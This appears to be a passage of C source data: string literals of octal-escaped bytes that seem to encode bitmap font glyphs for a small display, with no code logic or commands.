"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300" "\300\300\300\300\200\200\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\1\3\3\7\17\37\36" "\14\0\0\0\376\377\377\377\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\0\0\17\177\377\377" "\360\300\0\0\0\0\0\0\1\1\1\1\1\1\377\377\377\377\0\0\0\0\1\3\7\17\17\36\34<\70\70" "\70\70\70<\34\36\37\17\17\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\377\377\377\377ppppppp" "ppppp\377\377\377\377\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300" "\300\300\300\300\300\300\300\0\0\0\0\0\0\0\0\1\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77\77" "\77\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\0\0" "\0\0\0\1\1\1\1\1\1\377\377\377\377\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\177\0\0\0" "\0\0\0\0\0\4\17\36\36<\70\70\70\70<\36\37\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300@\0\0\0\377\377\377\377\0\0\0\0\200\300\340\360\370|>\17\7\3\1" "\0\0\0\0\0\377\377\377\377\360x<\376\377\367\303\201\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\1\7\17\77~\374\360\340\300\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\1\3\17\37\77>\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\300\0\0\377\377\377\377\376\370\340\200\0\0\0\0\0\0\200\340\370~\377\377" "\377\377\0\0\377\377\377\377\0\3\17\77\376\370\340\360\374\177\37\7\1\0\377\377\377\377\0\0\377\377\377\377" "\0\0\0\0\0\3\7\3\0\0\0\0\0\0\377\377\377\377\0\0\77\77\77\77\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\377\377\377" "\377\77\376\370\340\300\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377\377\0\0\3\17\37\177\374" "\360\300\200\0\0\0\377\377\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\1\7\37\77\376\370\340\377\377" "\377\377\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\3\17\77\77\77\77\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374" "\370\340\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376\0\7\177\377\377" "\360\300\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\177\7\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70<\36\37\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\3\3\7\17\377\376\374\360\0\0\0\0\377\377\377\377\340\340\340\340\340\340\340" "\340\340\360x|\77\77\17\3\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\340\370\374\376\37\17\7\3\3\1\1\1\3\3\7\17\37\376\374" "\370\340\0\0\376\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\376\0\17\177\377\377" "\360\200\0\0\0\0\0\0\0\0\0\0\0\200\360\377\377\177\7\0\0\0\1\7\17\17\37<<\70\370\370" "\370\70<<\36\37\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\36\36\34\34\34\34\34" "\34\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\0\377\377\377" "\377\1\1\1\1\1\1\1\1\3\3\7\17\377\376\374\360\0\0\0\0\377\377\377\377\340\340\340\340\340\340\340" "\340\340\360\370|\77\37\17\3\0\0\0\0\377\377\377\377\0\0\0\0\0\0\1\7\37\177\374\360\300\0\0" "\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\1\17\77\77>\70 \0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300" "\300\300\300\200\200\0\0\0\0\0\0\0\0\0\370\374\376\377\7\3\3\1\1\1\1\1\3\3\7\17\37\16" "\0\0\0\0\0\0\1\3\7\17\37\36<\70xx\360\360\340\340\300\300\200\0\0\0\0\0\0\0\200\200" "\0\0\0\0\0\0\0\0\0\0\0\1\3\207\377\377\376x\0\0\0\6\7\17\37\36\34<\70\70\70\70" "\70<<\34\36\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1" "\1\1\1\1\1\377\377\377\377\1\1\1\1\1\1\1\1\1\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\377\377\377" "\377\200\0\0\0\0\0\0\0\0\0\0\0\300\377\377\377\77\0\0\0\0\3\7\17\37\36\34<\70\70\70" "\70<<\36\37\17\17\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300@\0\0\7\77\377" "\376\360\200\0\0\0\0\0\0\0\0\0\200\360\376\377\37\3\0\0\0\0\0\1\17\177\377\374\340\0\0\0" "\0\0\340\374\377\77\7\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\370\300\370\377\177\17\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\7\77\77\37\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\0\37\377\377\370\0\0\0\0\0\200\370\377\376\340\0\0\0\0\0\360" "\377\377\7\0\0\17\377\377\374\0\0\300\374\377\17\1\37\377\376\360\0\0\370\377\377\3\0\0\0\0\3\377" "\377\377\374\377\17\0\0\0\0\1\37\377\377\370\377\77\0\0\0\0\0\0\0\0\77\77\17\0\0\0\0\0" "\0\0\0\1\37\77\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\0\0\0\0\1\7" "\37\177\374\370\340\200\0\0\0\300\360\374\177\37\17\3\0\0\0\0\0\0\0\0\0\0\1\7\217\377\376\374" "\377\337\7\1\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\77\37\7\3\17\37\177\374\370\340\200\0" "\0\0\0\0\0\60<\77\77\17\3\0\0\0\0\0\0\0\0\1\7\37\77>\70 \0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0@\300\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\300\300\300@\0\0\1\7\17\77\377\374\360\300\0\0\0\0\0\0\300\360\376\177\37" "\7\1\0\0\0\0\0\0\0\0\3\17\77\377\374\360\360\374\377\77\17\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0\0\0\1\1\1" "\1\1\1\1\1\1\1\1\1\201\341\371\377\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\200\340\360\374" "\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\200\300\360\374~\37\7\3\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\70>\77\77;\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360ppp" "pppppppp\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\0\0\0\0\0\0`\340\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\17\77\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\370" "\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\177\376\370\300\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\374p@\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0pppppppppp" "pp\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\377\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\200\300\360\374\77\37\17\77~\370\360\300\0\0\0\0\0\0\0\0\0\0\0\16\17\7\3\0\0\0\0" "\0\0\1\7\17\17\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\200\200\200\200\200\200\200\200\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\0\0\0\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\77\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\177\374" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\300\200\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\2\6\17\7\3\3\3\3\3\3\3\3\7\17\377\376\374\360\0\0\0\0\340\360\370" "\374\36\16\16\17\7\7\7\7\7\7\7\207\377\377\377\377\0\0\0\0\3\17\17\37\36<\70\70\70\70\70" "\34\34\16\17\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\200\200\200\200\200\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377\377\36\7\3\3\3\3\3" "\3\3\7\17\77\376\374\370\300\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\77\0\0\0\0\77\77\77\7\17\16\34\30\70\70\70\70<\36\37\17\17\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\0" "\0\0\0\0\0\200\360\370\374>\17\7\7\3\3\3\3\3\3\3\7\17\37\36\14\0\0\0\0\77\377\377" "\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\17\17\36\34<\70\70" "\70\70\70<\34\36\17\16\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0" "\0\0\200\200\200\200\300\200\200\200\0\0\0\377\377\377\377\0\0\0\0\300\370\374\376\37\17\7\3\3\3\3" "\3\3\7\7\36\377\377\377\377\0\0\0\0\177\377\377\377\300\0\0\0\0\0\0\0\0\0\0\200\377\377\377" "\377\0\0\0\0\0\1\7\17\37\37><\70\70\70\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\200\0\0\0\0" "\0\0\0\0\0\300\360\374\376\237\217\207\203\203\203\203\203\203\203\207\217\377\376\370\340\0\0\0\0\177\377\377" "\377\303\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\0\0\0\0\0\1\3\7\17\37\36<<\70\70" "\70\70\70<\34\36\17\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\360pppp\360\340\340\300\200\0\0\0\0\0" "\0\0\0\376\377\377\377\3\0\0\0\0\0\0\0\0\1\7\1\0\0\0\7\7\7\7\7\377\377\377\377\7" "\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\300\200\200\200\0\0\0\0\200\200\200" "\200\300\0\0\0\360\374\376\377\17\7\3\3\3\3\3\7\17\377\376\377\363\3\3\3\3\3\0\0\1\207\317" "\357~<\70\70\70\70\70<\36\37\17\7\1\0\0\0\0\0\0\0\300\347\357\177>\34\34\34\34\34\34" "\34\34\34\34<\70\370\360\360\300\0\0\7\37\37\77<\70xpppppppx\70<>\37\17" "\7\1\0\0\0\0\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\0\0\0\0\200\200\200\300\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377\377\34\16\7\7\3\3" "\3\3\3\7\17\377\377\374\360\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360" "\360\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\200\200\201\201\201\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\70\70\70\77\77" "\77\77\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0\0\0\0\0\0\0\0\0" "\0\200\200\200\200\200\200\200\200\200\201\201\201\200\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3" "\3\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\10\34>" "\37\17\7\0\0\0\0\0\0\0\0\0\360\360\360\360\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\377\377\377\377\0\0\200\300\340\360x<>\36\17\7\3\1\0\0\0\0\0\0\377\377" "\377\377\36\17\7\7\17\77~\374\360\340\300\200\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0" "\0\0\1\7\17\37\77<\70\60 \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0ppppppp\360\360\360\360\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0" "\0\0\0\0\0\0\70\70\70\70\70\70\70\77\77\77\77\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\0\200\300\300\300\300\300\200\0\200\200\300\300\300\300\300" "\300\0\0\0\377\377\377\377\7\1\1\1\1\377\377\377\376\17\3\1\1\1\377\377\377\377\0\0\377\377\377\377" "\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377\377\377\0\0\37\37\37\37\0\0\0\0\0\37\37\37" "\37\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\0\0\0\0\200\200\200\300\200\200\200\0\0\0\0\0\0\0\0\0\377\377\377\377\34\16\7\7\3\3" "\3\3\3\7\17\377\377\374\360\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\77\77\77\77\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\200\0\0\0" "\0\0\0\0\300\370\374\376\37\7\3\3\1\1\1\1\1\1\3\7\17\77\377\374\370\300\0\0\37\177\377\377" "\340\200\0\0\0\0\0\0\0\0\0\0\200\340\377\377\177\17\0\0\0\0\1\3\7\17\17\16\36\34\34\34" "\34\36\16\17\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\0\0\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\0\377\377\377\377\16\3\3\1\1\1\1" "\1\1\3\3\17\77\377\376\370\300\0\0\0\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\200\340\377\377" "\177\17\0\0\0\377\377\377\377\3\7\16\16\34\34\34\34\36\36\17\17\7\3\1\0\0\0\0\0\77\77\77" "\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\0\0\300\300" "\300\300\0\0\0\340\370\376\377\37\7\3\1\1\1\1\1\1\1\3\7\16\377\377\377\377\0\0\0\37\377\377" "\377\340\200\0\0\0\0\0\0\0\0\0\0\300\377\377\377\377\0\0\0\0\0\1\3\7\17\17\36\36\34\34" "\34\34\16\16\7\3\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77" "\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\0\0\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0\0\0\377\377\377\377>\17\7\3\3" "\1\1\1\1\1\1\3\7\3\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\37\37\37\37\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\300\300\200\0\0" "\0\0\0\0\0\0\0<\177\377\377\343\301\301\201\201\201\1\1\3\3\7\37\7\2\0\0\0\0\0\200\300" "\200\0\1\1\1\3\3\3\7\7\7\17\36\376\374\370\360\0\0\0\0\0\3\7\7\17\16\36\36\34\34\34" "\34\34\36\16\17\17\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\200\200\376\377\377\217\200\200\200\200\200\200\200\0\0\0\0\0\0\0\3\3\3\3\3\377\377\377\377\3" "\3\3\3\3\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\3\17\37\37><\70\70\70\70\34\34\36\16\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\0\0\0\0\0\377\377" "\377\377\0\0\0\0\0\0\0\0\0\0\200\377\377\377\377\0\0\0\0\0\0\7\17\37\37><\70\70\70" "\70\34\34\16\7\77\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\3\17\177\377\374\340\200\0\0\0\0" "\0\0\0\0\340\370\377\77\7\0\0\0\0\0\0\0\1\17\77\377\376\360\300\0\200\360\374\177\37\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\1\7\77\77>\77\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\200\200\200\0\7\377\377\374\200\0\0\0\0\300\374\376\376\370\300\0\0\0\0\300\377\377\37\0\0\0\37\377" "\377\360\0\300\374\177\17\0\3\37\377\374\340\0\340\377\377\7\0\0\0\0\0\3\77\77>\77\7\0\0\0" "\0\0\1\17\77\77\77\77\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200" "\200\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\1\7\17\37~\374\360\340\200\200" "\340\360\370~\37\17\3\1\0\0\0\0\0\0\0\0\0\200\300\340\373\177\77\77\177\373\360\340\200\0\0\0" "\0\0\0\0\0 \60<>\37\17\3\1\0\0\0\0\0\3\7\37\77<\70\60\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200" "\200\200\0\0\0\1\7\77\377\376\360\300\0\0\0\0\0\0\0\0\340\374\377\77\17\1\0\0\0\0\0\0" "\0\3\37\177\376\370\300\0\0\340\370\377\77\17\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\377\377" "\377\77\17\1\0\0\0\0\0\0\0\0\70\37\17\7\1\0\0\0\0\0\0" 